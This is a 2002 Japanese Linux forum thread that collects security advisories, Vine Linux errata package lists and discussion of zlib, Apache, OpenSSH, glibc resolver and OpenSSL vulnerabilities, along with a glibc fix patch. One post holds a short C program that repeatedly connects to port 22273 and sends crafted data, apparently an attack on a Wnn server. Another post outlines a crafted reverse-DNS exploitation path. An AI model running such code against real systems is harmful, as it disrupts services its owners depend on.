皆様、セキュリティホールは埋めとけよ

日々発見されるセキュリティホール。
その情報を一人であつめるのは大変です。情報の共有をしましょう。
先人達が埋めてくれた穴は、ありがたく反映させていただきましょう。

http://www.redhat.co.jp/support/errata/rh72-errata-security.html
http://www.turbolinux.co.jp/security/
http://www.vinelinux.org/errata/2x/i386.html
http://www.debian.org/security/

ML等からの情報もよろしく

zlib祭り会場はどこですか？

>>28
あなたのおうちの犬箱です

ftp.mozilla.orgが繋がらないのはzlib祭りのお陰ですか？

http://www.kb.cert.org/vuls/id/368819
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0059
http://www.gzip.org/zlib/advisory-2002-03-11.txt
http://slashdot.jp/article.pl?sid=02/03/12/1325239&mode=nested
http://www.ipa.go.jp/security/news/news.html
http://www.st.ryukoku.ac.jp/~kjm/security/memo/2002/03.html#20020312_zlib

3/12 Vine-errata

security hole
openssh-2.9.9p2-0vl0.3.i386.rpm
openssh-clients-2.9.9p2-0vl0.3.i386.rpm
openssh-server-2.9.9p2-0vl0.3.i386.rpm
openssh-askpass-2.9.9p2-0vl0.3.i386.rpm

げー、zlibやばいなぁ。ローカルからの攻撃には無力っぽいね。
ブラウザ経由の攻撃もできるのかなぁ...
(不正なPNG送るとかで)

mod_gzipとかやばそうだね

>>33
まぁ何はなくともさっさとzlibを更新(-> 1.1.4)することだね。
pngやgzipを直接解釈するようなサーバでもない限り外部からの攻撃は受けない
だろうし、apacheをrootで動かしてるような豪快な奴も居ない（と信じたい）
だろうから、あまり大きな問題にはならないだろうけど。

bugtraqに出てたH D Moore氏のpngの画像を
XEmacsでプレビューしたらXEmacsが落ちたYO!

>>36
サンプル画像はここにもあるYO!
http://www.digitaloffense.net/openssh_zlib/

>>36
他力本願で申し訳ないが、coreとか調べてみました？
結局どーなってどーなっちゃうのかよくわからんもので・・・。
stackoverflowと同様だと思ってればいいのかな〜

apache って root で動かすとやばいの？

>>39
そりゃやばいだろ (;´Д`)

>>38
XEmacs(bamboo)はsignal 11で落ちたみたい
coreはあるけどgdb扱える能力無いのよ。すまん
で、zlib最新にしてlibpngリコンパイルしたら落ちなくなったYO!

Debian セキュリティ HOWTO
http://www.jp.debian.org/doc/manuals/securing-debian-howto/

3/21 Vine-errata

security hole

zlib-1.1.3-25vl0.i386.rpm
zlib-devel-1.1.3-25vl0.i386.rpm

cvs-1.11.1p1-7vl0.i386.rpm
dump-0.4b19-5.6x.1.i386.rpm
dump-static-0.4b19-5.6x.1.i386.rpm
kernel-2.2.19-0vl0.24.i386.rpm
kernel-2.2.19-0vl0.24.i586.rpm
kernel-2.2.19-0vl0.24.i686.rpm
kernel-BOOT-2.2.19-0vl0.24.i386.rpm
kernel-doc-2.2.19-0vl0.24.i386.rpm
kernel-headers-2.2.19-0vl0.24.i386.rpm
kernel-ibcs-2.2.19-0vl0.24.i386.rpm
kernel-pcmcia-cs-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i386.rpm
kernel-smp-2.2.19-0vl0.24.i586.rpm
kernel-smp-2.2.19-0vl0.24.i686.rpm
kernel-source-2.2.19-0vl0.24.i386.rpm
kernel-utils-2.2.19-0vl0.24.i386.rpm
rmt-0.4b19-5.6x.1.i386.rpm
rpm-3.0.6-0vl2.1.i386.rpm
rpm-build-3.0.6-0vl2.1.i386.rpm
rpm-devel-3.0.6-0vl2.1.i386.rpm
rpm-python-3.0.6-0vl2.1.i386.rpm
popt-1.5.1-0vl2.1.i386.rpm
rsync-2.4.1-2vl2.i386.rpm
sash-3.4-2vl0.i386.rpm
info-4.0-5vl0.i386.rpm
texinfo-4.0-5vl0.i386.rpm

3/21 Vine-errata

security hole

apache-1.3.23-0vl0.1.i386.rpm
apache-devel-1.3.23-0vl0.1.i386.rpm
apache-manual-1.3.23-0vl0.1.i386.rpm
mod_ssl-2.8.7-0vl0.1.i386.rpm

fileutils-4.0x-1vl4.i386.rpm

04/04 Vine-errata security hole

XFree86-3.3.6-13vl28.1.i386.rpm
XFree86-100dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-75dpi-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-3DLabs-3.3.6-13vl28.1.i386.rpm
XFree86-8514-3.3.6-13vl28.1.i386.rpm
XFree86-AGX-3.3.6-13vl28.1.i386.rpm
XFree86-FBDev-3.3.6-13vl28.1.i386.rpm
XFree86-I128-3.3.6-13vl28.1.i386.rpm
XFree86-Mach32-3.3.6-13vl28.1.i386.rpm
XFree86-Mach64-3.3.6-13vl28.1.i386.rpm
XFree86-Mach8-3.3.6-13vl28.1.i386.rpm
XFree86-Mono-3.3.6-13vl28.1.i386.rpm
XFree86-P9000-3.3.6-13vl28.1.i386.rpm
XFree86-S3-3.3.6-13vl28.1.i386.rpm
XFree86-S3V-3.3.6-13vl28.1.i386.rpm
XFree86-SVGA-3.3.6-13vl28.1.i386.rpm
XFree86-VGA16-3.3.6-13vl28.1.i386.rpm
XFree86-W32-3.3.6-13vl28.1.i386.rpm
XFree86-XF86Setup-3.3.6-13vl28.1.i386.rpm
XFree86-Xnest-3.3.6-13vl28.1.i386.rpm
XFree86-Xvfb-3.3.6-13vl28.1.i386.rpm
XFree86-cyrillic-fonts-3.3.6-13vl28.1.i386.rpm
XFree86-devel-3.3.6-13vl28.1.i386.rpm
XFree86-doc-3.3.6-13vl28.1.i386.rpm
XFree86-libs-3.3.6-13vl28.1.i386.rpm
XFree86-xfs-3.3.6-13vl28.1.i386.rpm

04/11 Vine-errata

security hole
squid-2.3.STABLE5-0vl4.i386.rpm

ぼくの肛門も埋めてください

05/14 Vine-errata security hole

sudo-1.6.3p6-0.6vl3.i386.rpm

apt-get update
apt-get upgrade

だけでは不十分ですか？

age忘れ。

僕のチンポの先も埋めてください

>apt-get update
>apt-get upgrade
>
>だけでは不十分ですか？

ヴァカじゃん。そういう姿勢がそもそもsecurity hole

06/06 Vine-errata security hole

fetchmail-5.9.11-0vl1.i386.rpm

imap-2001a-10vl1.i386.rpm
imap-devel-2001a-10vl1.i386.rpm

bzip2-1.0.1-3vl3.i386.rpm
bzip2-devel-1.0.1-3vl3.i386.rpm

06/13 Vine-errata security hole

tcpdump-3.6.2-13vl1.i386.rpm
libpcap-0.6.2-13vl1.i386.rpm
arpwatch-2.1a11-13vl1.i386.rpm

Apacheにセキュリティホール
http://slashdot.jp/article.pl?sid=02/06/18/0434227

UNIX板 Apache関連 Part2
http://pc.2ch.net/test/read.cgi/unix/1017812420/466n-

バグフィクスされたapacheがリリースされたそうです。

http://www.apache.org/dist/httpd/Announcement.html
http://httpd.apache.org/info/security_bulletin_20020617.txt

06/19 Vine-errata security hole

apache-1.3.26-0vl1.i386.rpm
apache-devel-1.3.26-0vl1.i386.rpm
apache-manual-1.3.26-0vl1.i386.rpm
mod_ssl-2.8.9-0vl1.i386.rpm

>>55
Red Hat
http://rhn.redhat.com/errata/RHSA-2002-103.html

Debian (potato)
DSA-131-1 apache -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-131

DSA-132-1 apache-ssl -- remote DoS / exploit
http://www.debian.org/security/2002/dsa-132

Apache のそれは 32bit Linux でもヤバそう。
某MLにexploitが流れてた。

Apache Web サーバプログラムの脆弱性に関する注意喚起 http://www.jpcert.or.jp/at/2002/at020003.txt

情報スカスカのJPCERT勧告なんぞ読んでも仕方無いぞ。ほい日本語版。
http://www.lac.co.jp/security/intelligence/CERT/CA-2002_17.html

こっちはそれなりに有用。
http://www.ipa.go.jp/security/ciadr/20020619apache.html

「くだ質」とどちらに投げようか迷った挙げ句、こちらに
投げることにしました。
以下のような自分の使用状況がセキュリティの面で安全か
どうか伺いたく存じます。
自宅でLinuxを使っています。Flets ADSLを契約しており、
常時接続ではなく、時々インターネットに接続して電子
メールを読み書きしたり、WWWで情報を得たりしています。
ルータ等は使っていません。他のホストにwwwやftpで
クライエントとして接続することはあっても、自ホストを
サーバにする必要は殆どないと考えています。ただ例外で、
smtpサーバとしてnullmailerを使っています。
Debian GNU/Linux sidを使っており、電源を入れる度に
apt-getでパッケージを更新しています。
ftpd、rsh-server、ssh、apache等は削除しています。
kernelは2.4.18です。
/etc/hosts.allowは何も記述せず、
/etc/hosts.denyはALL: ALLにしてます。
# netstat --tcp --all
は、
Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:32927 *:* LISTEN
tcp 0 0 xxx.yyy.zzz.uuu:33011 aaa.bbb.ccc.ddd:smtp TIME_WAIT
となります(xxx.yyy.zzz.uuuは割り当てられたIPアドレス、
aaa.bbb.ccc.dddはプロバイダのメールサーバのIPアドレス)。

>>64
> 以下のような自分の使用状況がセキュリティの面で安全か
> どうか伺いたく存じます。
「安全」と「安全でない」の2つしか状態がないと思ってる?

Apache の脆弱性を攻撃するツールが登場
http://slashdot.jp/article.pl?sid=02/06/22/1240249&mode=thread

>>66
充分に気をつけているほうだと思うよ。
でもセキュリティにこれで完璧ってのは無いんだよ。
あくまでコストとリスクとの綱引きでしかない。
しかしそれで侵入されたからって君を責める人はあまりいないだろう。

>>66
inetdも止めてしまおう。

OpenSSH に新たな弱点発見。詳細は来週まで秘密。
リモートから悪用可能らしい。
3.3 にも同じ弱点があるが、侵入は防げるそうだ。

void writei(int fd,int num){num = htonl(num);write(fd,&num,4);}
void writes(int fd,char *s){write(fd,s,strlen(s)+1);}
void main(int argc,char **argv){struct hostent *he;struct sockaddr_in si;int fd;
char a[10];he = gethostbyname(argv[1]);while(1){fd = socket(PF_INET,SOCK_STREAM,0);si.sin_family = AF_INET;memcpy(&si.sin_addr,he->h_addr_list[0],sizeof(si.sin_addr));
si.sin_port = htons(22273);connect(fd,(struct sockaddr *)&si,sizeof(si));sprintf(a,"%d",rand());writei(fd,0x66);writei(fd,0);
writes(fd,a);writei(fd,0);writei(fd,3);close(fd);}}

>>69
これだね。
Debian 以外のパッケージはいつころ出るんだろ。
http://www.koka-in.org/~haruyama/ssh_koka-in_org/0/4.html

>70
Wnnか？何の穴よ？
まさかwww.freewnn.orgにある大昔の穴じゃないだろうな。

>>72
違うっぽい。

*BSD の libc の resolver に穴が見つかったようだけど、glibc は
どうなんだろう
http://www.pine.nl/advisories/pine-cert-20020601.html

ISS から OpenSSH のアドバイザリが出た。
Challenge and Response 認証にバグ。remote root exploit。
sshd_config に
ChallengeResponseAuthentication no
で回避可能。3.4 で修正されている。
これがもし Theo の言ってた穴と同じものなら、
OpenSSH 3.0 以降にのみ存在する穴じゃん。
いちはやくアップデート出した Debian potato は踊らされただけか。

OpenSSH Advisory
http://www.openssh.com/txt/preauth.adv

さみだれ式でごめん。ISS Advisory
http://www.openssh.com/txt/iss.adv

>>75
訂正。3.0 以降じゃなくて 2.9.9 以降に弱点がある模様。
Debian 2.2 (potato) は安全な 1.2 系からわざわざ弱点のある
3.3 に入れ換えさせられた恰好だよ。Theo のアホーーーーー。
フルディスクロージャってやっぱり大事なんだな。

06/27 Vine-errata security hole

openssh-3.3p1-0vl10.i386.rpm
openssh-server-3.3p1-0vl0.i386.rpm
openssh-clients-3.3p1-0vl0.i386.rpm
openssh-askpass-3.3p1-0vl0.i386.rpm
openssh-askpass-gnome-3.3p1-0vl0.i386.rpm

>>79 は 06/26 発行でした。ｽﾏｿ

openssh 3.4p1出てるよage

syslogdが大きい。

resolver のバグは対岸の火事ではない模様。

2ch鯖のApacheも入れ替えが始まってるね。 遅いぐらいだ。昨日の件もこれが絡んでたのだろうか。 しかし入れ替えたはいいがlinuxのlibcにも。。。。 なんてことになったら大火事だな。

>>84
まさに大火事のようで(藁
まあ、リモートからいじれる穴ではないだろうけど

>>85
resolver のバグはリモートからいじれる。
攻撃者は自由に設定出来るネームサーバを持っていればいい。
ある IP アドレスの逆引きホストネームに攻撃用コードを仕込む。
そしてその IP アドレスから攻撃対象のサーバに接続する。
攻撃対象のサーバが逆引きを行い、
返って来た巧妙に細工されたホスト名を正引きしたら、あぼーん。

glibcには*BSDよりも１箇所余計にチェックが入っているが、
これでは防げないのか？

OpenSSHを3.1→3.4にアップグレードしたら、sshdの起動時に
This platform does not support both privilege separation and compression
Compression disabled
こんなメッセージを吐くんだけど・・・何だろ？syslogには上がらないみたいだけど気になるかな。

ちなみにRedHat6.2(kerner2.2.19/glibc2.1.3-23/OpenSSL0.9.6d)

>>88
Compressionは切ろう。

>>87
実際テストしてみたが落せない。
俺がヘボなだけかもしれないから識者の意見を待とう。

>>89
sshd_configのCompressをnoに指定したら出なくなったよ。
感謝。

>>90
FreeBSDをパッチを見るに、gethnamaddr.cはずでにFreeBSDの
パッチと同じ処理が入っている。getnetnamadr.cにはない。

>>90
識者の意見が間違ってた Aapche の時のような事もあるから
itojun 氏のパッチあててもいいかもしれない。
でも勇み足で必要でないアップデートを出して、わざわざ穴を
開けてしまったDebian potato の例もあるし、悩ましいところだな。

識者登場age。

直すべきは nss_dns/dns-network.c か。
古いの見てた。すまそ。

新しいＢＩＮＤが出た

>>93
itojunさんのパッチってどこでgetできます？
glibcに当たるのかいな？

>>97
FreeBSD や NetBSD の Advisory 嫁。
そのままでは当たらないだろうから手作業で当てれ。
ま、俺はめんどいから様子見。

つーか、おまえら誰もglibcのコード読んでないんとちゃうか？

--- glibc-2.2.5/resolv/nss_dns/dns-network.c.org 2001-07-06 13:55:39.000000000 +0900
+++ glibc-2.2.5/resolv/nss_dns/dns-network.c 2002-06-28 21:42:26.000000000 +0900
@@ -328,7 +328,9 @@
}
cp += n;
*alias_pointer++ = bp;
- bp += strlen (bp) + 1;
+ n = strlen(bp) + 1;
+ bp += n;
+ linebuflen -= n;
result->n_addrtype = class == C_IN ? AF_INET : AF_UNSPEC;
++have_answer;
}
こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
処理がすでに入っている。

>>100
> こんなとこではないかな。gethnamaddr.cはFreeBSDのパッチと同様の
> 処理がすでに入っている。

name6.c のチャンクは？ と思ったけど，'99 に直ってるすね．

ttp://sources.redhat.com/cgi-bin/cvsweb.cgi/libc/resolv/nss_dns/dns-host.c.diff?r1=1.15&r2=1.16&cvsroot=glibc&f=h

>>79 Vine-errata security hole

openssh-3.4p1-0vl2.i386.rpm
openssh-server-3.4p1-0vl2.i386.rpm
openssh-clients-3.4p1-0vl2.i386.rpm
openssh-askpass-3.4p1-0vl2.i386.rpm
openssh-askpass-gnome-3.4p1-0vl2.i386.rpm

>>100-101
通報しますた。

http://www.sendmail.org/8.12.5.html
> 8.12.5/8.12.52002/06/25
> SECURITY: The DNS map can cause a buffer overflow if the user
> specifies a dns map using TXT records in the configuration
> file and a rogue DNS server is queried. None of the
> sendmail supplied configuration files use this option hence
> they are not vulnerable. Problem noted independently by
> Joost Pol of PINE Internet and Anton Rang of Sun Microsystems.
普通の設定では影響なし、なのかな?

resolver 問題、CERT/CC によると
glibc はこれで fix されてるらしい。
http://www.kb.cert.org/vuls/id/AAMN-5BMSW2

しかし、こういうのって他のプロジェクトに還元されないもんなんだろうか。

上のパッチ、だれかUlrich Drepperに投げた？

よくわかんないんだけど、glibcのバグはどのバージョンにあるの？

>>57 07/02 Vine-errata security hole

apache-1.3.26-0vl2.i386.rpm
apache-devel-1.3.26-0vl2.i386.rpm
apache-manual-1.3.26-0vl2.i386.rpm
mod_ssl-2.8.9-0vl2.i386.rpm

http://dammit.lt/apache-worm/
このApacheワームのソースってどこから出たものなのかな。
ワーム自体は蜜壷で捕まえたみたいだけど。

Squid Proxy Cache Security Update Advisory SQUID-2002:3
- Security advisory several issues in Squid-2.4.STABLE6 and earlier.
Squid-2.4.STABLE7 released to address these issues.

http://www.squid-cache.org/Advisories/SQUID-2002_3.txt

>>109
投稿した人は「僕の inbox に入ってた」って言ってた。

snortのalert（警告）をメールで携帯に送りたいんですが、
どのようにすれば良いのでしょうか。
confファイルにはそれらしき箇所が見つかりませんでした。

>>112
snort 単体ではできない。
syslog と swatch 等を使うか、snort 用のツールを使う。

>>113
さんくすこ

NetSNMPとMRTGでサーバを監視しようと思ってるんですが、
MRTGに関してはローカルホスト（NetSNMPが入ってるマシン）を対象に
監視を行っても良いのでしょうか。
なんか説明ページだと、ルータが監視の対象となってるみたいなんですが。
（ルータがSNMPに対応していないので…）

>>115

問題なし

07/08 Vine-errata security hole

squid-2.4.STABLE7-0vl1.i386.rpm

ttp://lwn.net/Articles/4545/

This bug has been fixed for the gethostbyXXX class of functions
in GNU libc in 1999. Unfortunately, there is similar code in the
getnetbyXXX functions in recent glibc implementations, and
the code is enabled by default. However, these functions are
used by very few applications only, such as ifconfig and ifuser,
which makes exploits less likely.

やはり....

http://www.kb.cert.org/vuls/id/AAMN-5BMSW2
更新されてる

最近新しい穴が見つからないねぇ。
いいことなんだが、何かつまらんｗ

ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!
PHP 4.2.0/4.2.1 に任意コード実行可能なセキュリティホール。
また IA32 じゃ任意コード実行は出来ないなんて言ってるよ。
ホントカナー???

Updated glibc packages fix vulnerabilities in resolver

http://rhn.redhat.com/errata/RHSA-2002-139.html
> A buffer overflow vulnerability has been found in the way the glibc
> resolver handles the resolution of network names and addresses via DNS (as
> per Internet RFC 1011). Version 2.2.5 of glibc and earlier versions are
> affected. A system would be vulnerable to this issue if the
> "networks" database in /etc/nsswitch.conf includes the "dns" entry. By
> default, Red Hat Linux ships with "networks" set to "files" and
> is therefore not vulnerable to this issue. (CAN-2002-0684)
>
> A second, related, issue is a bug in the glibc-compat packages, which
> provide compatibility for applications compiled against glibc version
> 2.0.x. Applications compiled against this version (such as those
> distributed with early Red Hat Linux releases 5.0, 5.1, and 5.2) could also
> be vulnerable to this issue. (CAN-2002-0651)
>
> These errata packages for Red Hat Linux 7.1 and 7.2 on the Itanium
> architecture also include a fix for the strncpy implementation in some
> boundary cases.

>>120
良いことではないか。ないにこしたことはない。

Jul 29 02:47:04 XXXXX sshd[14409]: warning: /etc/hosts.allow, line 6: can't verify hostname: gethostbyname(host180.cciglobal.net.pa) failed

これはresolverの穴を狙った攻撃？

接続元のIPアドレスからホスト名を調べて、そこからまたIPアドレスを
ひいたら元に戻らなかった、ってことだと思う。>>124のものも、
うちに来ているものも、DNSでAレコードがひけないんだよね。

Jul 28 04:45:35 giko sshd[80120]: warning: /etc/hosts.allow, line 4: can't verify hostname: getaddrinfo(h64-141-4-23.bigpipeinc.com, AF_INET) failed
Jul 28 04:45:35 giko sshd[80120]: refused connect from 64.141.4.23 (64.141.4.23)

% host 64.141.4.23
23.4.141.64.in-addr.arpa domain name pointer h64-141-4-23.bigpipeinc.com.
% host h64-141-4-23.bigpipeinc.com
Host h64-141-4-23.bigpipeinc.com not found: 3(NXDOMAIN)

詳しく調べたわけでないから嘘かもしれぬ。スマソ。

>>124
攻撃そのものは単純にsshdの古いバージョンでのセキュリティホール
を狙った物だと思う。偶然にもIPから逆引きできたホスト名と、その
ホスト名に対応するIPが合致していなかったために拒否されただけ。

ﾏﾀｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!
OpenSSL にリモートから悪用可能なバッファオーバフロー。
既に赤帽と Woody には修正出た。でも Potato はまだ。
util-linux にもちっこい穴。

CERTｷﾀ━━━(ﾟ∀ﾟ)━( ﾟ∀)━( ﾟ)━( )━( )━(ﾟ )━(∀ﾟ )━(ﾟ∀ﾟ)━━━!!!!!
http://www.cert.org/advisories/CA-2002-23.html